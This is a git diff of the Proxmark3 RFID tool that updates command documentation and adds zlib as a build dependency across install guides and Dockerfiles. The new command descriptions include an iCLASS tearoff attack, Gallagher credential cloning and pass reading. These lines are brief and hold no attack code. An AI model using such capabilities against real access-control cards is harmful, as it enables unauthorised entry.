@@ "description": "Encode wiegand formatted number to raw hex", "notes": [ "wiegand encode --fc 101 --cn 1337 -> show all formats", - "wiegand encode -w H10301 --fc 101 --cn 1337 -> H10301 format" + "wiegand encode -w H10301 --fc 101 --cn 1337 -> H10301 format", + "wiegand encode --bin 1 -> raw wiegand hex with sentinel", + "wiegand encode -w H10301 --fc 123 --cn 4567 --new -> new ASN.1 encoded format" ], "offline": true, "options": [ "-h, --help This help", + "-b, --bin binary string to be encoded", "--fc facility number", "--cn card number", "--issue issue level", "--oem OEM code", "-w, --wiegand see `wiegand list` for available formats", - "--pre add HID ProxII preamble to wiegand output" + "-n, --new encode to new ASN.1 encoded format", + "--pre add HID ProxII preamble to wiegand output", + "-v, --verbose verbose output" ], - "usage": "wiegand encode [-h] [--fc ] --cn [--issue ] [--oem ] [-w ] [--pre]" + "usage": "wiegand encode [-hnv] [-b ] [--fc ] [--cn ] [--issue ] [--oem ] [-w ] [--pre]" }, "wiegand help": { "command": "wiegand help", @@ -13962,8 +14134,8 @@ } }, "metadata": { - "commands_extracted": 798, + "commands_extracted": 806, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-03-11T21:39:07" + "extracted_on": "2026-03-20T02:30:24" } } diff --git a/doc/commands.md b/doc/commands.md index fd30f27f2..f6cff970e 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -350,6 +350,7 @@ Check column "offline" for their availability. |`hf felica sniff `|N |`Sniff ISO 18092/FeliCa traffic` |`hf felica wrbl `|N |`write block data to an authentication-not-required Service.` |`hf felica dump `|N |`Wait for and try dumping FeliCa` +|`hf felica discnodes `|N |`discover Area Code and Service Code nodes.` |`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.` |`hf felica rqresponse `|N |`verify the existence of a card and its Mode.` |`hf felica scsvcode `|N |`acquire Area Code and Service Code.` @@ -399,12 +400,26 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`hf gallagher help `|Y |`This help` -|`hf gallagher reader `|N |`Read & decode all Gallagher credentials on a DESFire card` -|`hf gallagher clone `|N |`Add Gallagher credentials to a DESFire card` +|`hf gallagher reader `|N |`Read & decode all Gallagher credentials on a DESFire or Classic card` +|`hf gallagher clone `|N |`Clone Gallagher credentials to a DESFire or Classic card` |`hf gallagher delete `|N |`Delete Gallagher credentials from a DESFire card` |`hf gallagher diversifykey`|Y |`Diversify Gallagher key` |`hf gallagher decode `|Y |`Decode Gallagher credential block` |`hf gallagher encode `|Y |`Encode Gallagher credential block` +|`hf gallagher test `|Y |`Test the function of Gallagher Mifare Core` + + +### hf gst + + { Google Smart Tap passes... } + +|command |offline |description +|------- |------- |----------- +|`hf gst help `|Y |`This help` +|`hf gst list `|Y |`List ISO 14443A/7816 history` +|`hf gst test `|Y |`Perform self tests` +|`hf gst info `|N |`Get Google Smart Tap applet information` +|`hf gst read `|N |`Read and decode Google Smart Tap pass objects` ### hf iclass @@ -431,6 +446,7 @@ Check column "offline" for their availability. |`hf iclass legrec `|N |`Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination` |`hf iclass legbrute `|Y |`Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs` |`hf iclass unhash `|Y |`Reverses a diversified key to retrieve hash0 pre-images after DES encryption` +|`hf iclass blacktears `|N |`Automated tearoff attack on new silicon cards to enable non-secure page mode` |`hf iclass sim `|N |`Simulate iCLASS tag` |`hf iclass eload `|N |`Upload file into emulator memory` |`hf iclass esave `|N |`Save emulator memory to file` @@ -837,6 +853,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`hf vas help `|Y |`This help` +|`hf vas info `|N |`Get VAS applet information` |`hf vas reader `|N |`Read and decrypt VAS message` |`hf vas decrypt `|Y |`Decrypt a previously captured VAS cryptogram` diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index 2f1a198ca..da18653ef 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -17,6 +17,8 @@ - [On openSUSE Leap 15.6](#on-opensuse-leap-156) - [On openSUSE Tumbleweed](#on-opensuse-tumbleweed) - [If you don't need...](#if-you-dont-need-3) + - [On NixOS](#on-nixos) + - [If you don't need...](#if-you-dont-need-4) - [Clone the repository](#clone-the-repository) - [Check ModemManager](#check-modemmanager) - [⚠️ Very important ⚠️](#️-very-important-️) @@ -88,7 +90,7 @@ you may have to install `libcanberra-gtk-module`. ^[Top](#top) ```sh -sudo pacman -Syu git base-devel readline bzip2 lz4 arm-none-eabi-gcc \ +sudo pacman -Syu git base-devel readline bzip2 lz4 zlib arm-none-eabi-gcc \ arm-none-eabi-newlib qt6-base bluez python gd --needed ``` @@ -102,6 +104,9 @@ you can skip the installation of `qt6-base`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `gd`. @@ -111,7 +116,7 @@ you can skip the installation of `gd`. ```sh sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib \ -readline-devel bzip2-devel lz4-devel qt6-qtbase-devel bluez-libs-devel \ +readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel qt6-qtbase-devel bluez-libs-devel \ python3-devel libatomic openssl-devel gd-devel ``` @@ -125,6 +130,9 @@ you can skip the installation of `qt6-qtbase-devel`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python3-devel`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib-ng-compat-devel`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `gd-devel`. @@ -134,7 +142,7 @@ you can skip the installation of `gd-devel`. ```sh sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \ -readline-devel libbz2-devel liblz4-devel \ +readline-devel libbz2-devel liblz4-devel zlib-devel \ python3-devel libqt5-qtbase-devel libopenssl-devel gd-devel sudo zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \ sudo zypper --gpg-auto-import-keys refresh && \ @@ -161,7 +169,7 @@ sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++-15 100 ```sh sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \ -readline-devel libbz2-devel liblz4-devel bluez-devel \ +readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel \ python3-devel qt6-core-devel qt6-widgets-devel libopenssl-devel gd-devel \ cross-arm-none-gcc12 cross-arm-none-newlib-devel ``` @@ -173,6 +181,9 @@ you can skip the installation of `qt6-core-devel qt6-widgets-devel`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python3-devel`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib-devel`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `gd-devel`. @@ -196,6 +207,9 @@ you can comment out `qt6Packages.qtbase` and `qt6Packages.wrapQtAppsHook` in sh 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can comment out `python3` in shell.nix. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can comment out `zlib` in shell.nix. + 👉 If you don't need support for NFC ePaper devices, you can comment out `gd` in shell.nix. diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index ca262a8eb..f50db31fb 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -170,13 +170,15 @@ Install dependencies: ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \ -libbz2-dev liblz4-dev libpython3-dev libssl-dev libgd-dev +libbz2-dev liblz4-dev zlib1g-dev libpython3-dev libssl-dev libgd-dev ``` > [!NOTE] > * If you don't need the graphical components of the > Proxmark3 client, you can skip the installation of `qtbase6-dev`. > * If you don't need support for Python3 scripts in the > Proxmark3 client, you can skip the installation of `libpython3-dev`. +> * If you don't need support for decompressing compressed Google Smart Tap payloads +> in the Proxmark3 client, you can skip the installation of `zlib1g-dev`. > * If you don't need support for NFC ePaper devices in the > PM3 device, you can skip the installation of `libgd-dev`. diff --git a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md index c6be50c10..7a4b1dc10 100644 --- a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md @@ -196,7 +196,7 @@ For example, on Ubuntu 24.04 or later: sudo apt-get install --no-install-recommends \ git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev \ - libbz2-dev liblz4-dev libpython3-dev qtbase6-dev \ + libbz2-dev liblz4-dev zlib1g-dev libpython3-dev qtbase6-dev \ libssl-dev libgd-dev ``` @@ -205,6 +205,8 @@ sudo apt-get install --no-install-recommends \ > Proxmark3 client, you can skip the installation of `qtbase6-dev`. > * If you don't need support for Python3 scripts in the > Proxmark3 client, you can skip the installation of `libpython3-dev`. +> * If you don't need support for decompressing compressed Google Smart Tap payloads +> in the Proxmark3 client, you can skip the installation of `zlib1g-dev`. > * If you don't need support for NFC ePaper devices in the > PM3 device, you can skip the installation of `libgd-dev`. diff --git a/docker/archlinux/Dockerfile b/docker/archlinux/Dockerfile index e047b3cc8..027a34e9a 100644 --- a/docker/archlinux/Dockerfile +++ b/docker/archlinux/Dockerfile @@ -5,7 +5,7 @@ RUN pacman -Syu --noconfirm RUN pacman-db-upgrade # bluez skipped, can't be installed in docker -RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 gd arm-none-eabi-gcc arm-none-eabi-newlib --needed +RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 zlib gd arm-none-eabi-gcc arm-none-eabi-newlib --needed # OpenCL for hitag2crack RUN pacman -S --noconfirm ocl-icd diff --git a/docker/debian-13-trixie-arm64/Dockerfile b/docker/debian-13-trixie-arm64/Dockerfile index 7e88a860b..ff95f12b4 100644 --- a/docker/debian-13-trixie-arm64/Dockerfile +++ b/docker/debian-13-trixie-arm64/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/debian-13-trixie-armhf/Dockerfile b/docker/debian-13-trixie-armhf/Dockerfile index e4725ca9f..71d9531a9 100644 --- a/docker/debian-13-trixie-armhf/Dockerfile +++ b/docker/debian-13-trixie-armhf/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/debian-13-trixie/Dockerfile b/docker/debian-13-trixie/Dockerfile index 1bb7733d0..118cadaa9 100644 --- a/docker/debian-13-trixie/Dockerfile +++ b/docker/debian-13-trixie/Dockerfile @@ -5,7 +5,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/debian-14-forky/Dockerfile b/docker/debian-14-forky/Dockerfile index 074f95876..1b75e2063 100644 --- a/docker/debian-14-forky/Dockerfile +++ b/docker/debian-14-forky/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/fedora-41/Dockerfile b/docker/fedora-41/Dockerfile index 73c5d346d..0c443e83d 100644 --- a/docker/fedora-41/Dockerfile +++ b/docker/fedora-41/Dockerfile @@ -2,7 +2,7 @@ FROM fedora:41 ENV LANG=C.UTF-8 -RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils +RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update diff --git a/docker/fedora-42/Dockerfile b/docker/fedora-42/Dockerfile index 75060263a..2f01ea035 100644 --- a/docker/fedora-42/Dockerfile +++ b/docker/fedora-42/Dockerfile @@ -2,7 +2,7 @@ FROM fedora:42 ENV LANG=C.UTF-8 -RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils +RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update diff --git a/docker/fedora-43/Dockerfile b/docker/fedora-43/Dockerfile index cd5710a9d..c2ddfab62 100644 --- a/docker/fedora-43/Dockerfile +++ b/docker/fedora-43/Dockerfile @@ -2,7 +2,7 @@ FROM fedora:rawhide ENV LANG=C.UTF-8 -RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils +RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update diff --git a/docker/homebrew/Dockerfile b/docker/homebrew/Dockerfile index d11abd604..05ec8cdab 100644 --- a/docker/homebrew/Dockerfile +++ b/docker/homebrew/Dockerfile @@ -11,6 +11,6 @@ RUN if [ -n "${UART_GID}" ]; then \ USER linuxbrew WORKDIR "/home/linuxbrew" -RUN brew install cmake pkg-config bzip2 lz4 && rm -rf ~/.cache/Homebrew +RUN brew install cmake pkg-config bzip2 lz4 zlib && rm -rf ~/.cache/Homebrew CMD ["/bin/bash"] diff --git a/docker/kali/Dockerfile b/docker/kali/Dockerfile index 91dad2468..cda92382a 100644 --- a/docker/kali/Dockerfile +++ b/docker/kali/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index 68976c117..eff0d1662 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -2,7 +2,7 @@ FROM opensuse/leap ENV LANG=C.UTF-8 -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc15 gcc15-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc15 gcc15-c++ readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel python3-devel libopenssl-devel gd-devel RUN zypper --non-interactive install ocl-icd-devel diff --git a/docker/opensuse-tumbleweed/Dockerfile b/docker/opensuse-tumbleweed/Dockerfile index 93731d25a..7e2aeffc4 100644 --- a/docker/opensuse-tumbleweed/Dockerfile +++ b/docker/opensuse-tumbleweed/Dockerfile @@ -2,7 +2,7 @@ FROM opensuse/tumbleweed ENV LANG=C.UTF-8 -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc15 cross-arm-none-newlib-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc15 cross-arm-none-newlib-devel gd-devel RUN zypper --non-interactive install ocl-icd-devel diff --git a/docker/parrot-core-latest/Dockerfile b/docker/parrot-core-latest/Dockerfile index 3671b94da..ad7797e6a 100644 --- a/docker/parrot-core-latest/Dockerfile +++ b/docker/parrot-core-latest/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-22.04/Dockerfile b/docker/ubuntu-22.04/Dockerfile index 4e9d38671..5a559d518 100644 --- a/docker/ubuntu-22.04/Dockerfile +++ b/docker/ubuntu-22.04/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-24.04/Dockerfile b/docker/ubuntu-24.04/Dockerfile index 7ac58bf7d..650b25f40 100644 --- a/docker/ubuntu-24.04/Dockerfile +++ b/docker/ubuntu-24.04/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-25.04/Dockerfile b/docker/ubuntu-25.04/Dockerfile index 237460a4f..dadd0cdb1 100644 --- a/docker/ubuntu-25.04/Dockerfile +++ b/docker/ubuntu-25.04/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-25.10/Dockerfile b/docker/ubuntu-25.10/Dockerfile index 886db9dc4..13b2b3954 100644 --- a/docker/ubuntu-25.10/Dockerfile +++ b/docker/ubuntu-25.10/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index f3573b81f..cdda920f5 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -24,6 +24,7 @@ //----------------------------------------------------------------------------- // iCLASS / PICOPASS //----------------------------------------------------------------------------- +#define PICOPASS_KEY_SIZE ( 8 ) #define PICOPASS_BLOCK_SIZE ( 8 ) #define PICOPASS_MAX_BYTES ( 4096 ) // # 32k bits = 4096 bytes diff --git a/tools/shell.nix b/tools/shell.nix index 120a176c4..3cae43e3f 100644 --- a/tools/shell.nix +++ b/tools/shell.nix @@ -11,6 +11,7 @@ mkShell { jansson gd lz4 + zlib whereami lua bluez5